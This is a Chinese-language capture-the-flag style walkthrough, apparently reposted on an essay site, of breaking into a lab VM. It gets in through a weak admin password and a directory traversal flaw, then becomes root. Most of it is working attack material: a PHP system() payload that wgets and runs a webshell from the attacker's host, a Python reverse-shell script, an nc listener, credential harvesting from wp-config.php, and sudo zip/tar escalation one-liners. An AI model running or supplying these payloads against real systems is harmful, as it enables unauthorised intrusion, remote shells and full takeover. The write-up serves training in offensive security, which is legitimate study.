1200字范文,内容丰富有趣,写作的好帮手!
1200字范文 > 目录遍历www提权

目录遍历www提权

时间:2023-12-28 21:12:22

相关推荐

目录遍历www提权

1、首先探测靶机的信息

nmap -sV -T4 192.168.222.135

2、扫描网页目录

dirb http://192.168.222.135

nikto -host 192.168.222.135

发现利用nikto扫描网页时发现没有可以利用的信息。在dirb中发现有个dbadmin的网页,访问网页查看

发现了网站登录后台

尝试弱密码-------------------123456123123admin-------------------admin 尝试成功

可以利用的信息只有一个数据库,尝试用OWASP扫描网页查看是否还有网页漏洞

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-nFcJvurM-1634979695899)(C:\Users\admin\AppData\Roaming\Typora\typora-user-images\image-1022151545401.png)]

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-A8Ewuk0P-1634979695899)(C:\Users\admin\AppData\Roaming\Typora\typora-user-images\image-1022151754555.png)]

发现了目录遍历漏洞,访问网页

掌握的信息有1、数据库&2、目录遍历在kali里找到webshell进行上传服务器操作来getshell

二部分,getshell

1、使用kali自带的webshell

cd /usr/share/webshells/php/cp php-reverse-shell.php /root/Desktop //将shell文件复制到root桌面目录下mv php-reverse-shell.php shell.php//将文件重命名为shellvim shell.php//修改shell.php的基础信息

2、通过网页上传漏洞

表的内容应为我们创建的webshell,所以需要构建语句来进行上传&访问操作gedit shell.txt//创建一个文本用于复制<?php system("cd /tmp;wget http://192.168.222.128/webshell.php;chmod +x webshell.php;php webshell.php");?>

不着急创建表,从构造语句中可以看出有Wget的命令url路径,要实现操作的话,首先需要将kali成为一台http服务器才可以让其Wget下载文件.通过pyhon的指令来将kali的桌面变成小型HTTP服务器python -m "SimpleHTTPServer"

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-VDpfzWAH-1634979695902)(C:\Users\admin\AppData\Roaming\Typora\typora-user-images\image-1022155223826.png)]0

可以看出8000端口,所以在数据表上加上8000端口以使它能够访问kali同时开启kali的nc监听,以接受webshell的回弹指令nc -nlvp 4444

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-2uvkArOd-1634979695903)(C:\Users\admin\AppData\Roaming\Typora\typora-user-images\image-1022160204064.png)]

第三部分,提权

查看其系统是否有内核漏洞

id#查看用户权限uname -a #查看内核版本cat /etc/issue #查看发行版本cat /etc/*-release #查看发行版本得知其发行版本为Ubuntu 12.04.5 LTS

searchsploit Ubuntu 12.04.5 LTS发现并没有对应的内核版本漏洞

定时任务进程

系统内可能存在一些定时执行的任务,一般由crontab管理,具有所属用户权限。普通用户可以列出/etc/内系统的定时任务可以被列出,但不可列出root的。如果有存在当前用户或所有用户可执行修改的定时进程,则可以替换该文件,变成反弹shell提权的代码。如脚本为py的,其它的类似如下操作反弹shell脚本#!/usr/bin/pythonimport os,subprocess,sockets=socket.socket(socket.AF_INET,socket.SOCK_STREAM)#以太网和TCP套接字s.connect(("127.0.0.1",4444))os.dup2(s.fileno(),0)os.dup2(s.fileno(),1)os.dup2(s.fileno(),2)p=subprocess.call(["/bin/sh","-i"])#进程调用/bin/sh****查看是否有替他用户的计划任务cat /etc/crontab

密码复用

很多管理员会重复使用密码,因此数据库或者web后台的密码也许就是root密码有了(疑似)root密码怎么办?你一定想ssh登录。然而ssh很可能禁止root登录,或是防火墙规则将你排除在外了。此时我们是有着低权shell嘛,在上面输入密码。登录用户就好,在低权shell里面用sudo是不奏效的,出于安全考虑,linux要求用户必须从终端设备(tty)中输入密码,而不是标准输入(stdin)。换句话说,sudo在你输入密码的时候本质上是读取了键盘,而不是bash里面输入的字符。因此为了能够输入密码,我们必须模拟一个终端设备。python就有这样的功能.在shell里面输入:python -c 'import pty;pty.spawn("/bin/sh")'

查看home目录,是否有可以利用的用户

ls -alh查看本文件夹下的所有文件(包括隐藏文件)发现有ssh 可以通过ssh来连接该用户cd wordpress查看是否有敏感文件查看wp-config.php 发现mysql的密码

输入sudo -l 查看当前用户可以使用root提权的命令信息

利用ZIP提权

touch exploitsudo -u root zip exploit.zip exploit -T --unzip-command="sh -c /bin/bash"提权成功

利用TAR提权

sudo -u root tar cf /dev/null exploit --checkpoint=1 --checkpoint-action="/bin/bash"上面的指令报错,换另一种sudo -u root tar cf /dev/null exploit --checkpoint=1 --checkpoint-action=exec=/bin/bash提权成功

本内容不代表本网观点和政治立场,如有侵犯你的权益请联系我们处理。
网友评论
网友评论仅供其表达个人看法,并不表明网站立场。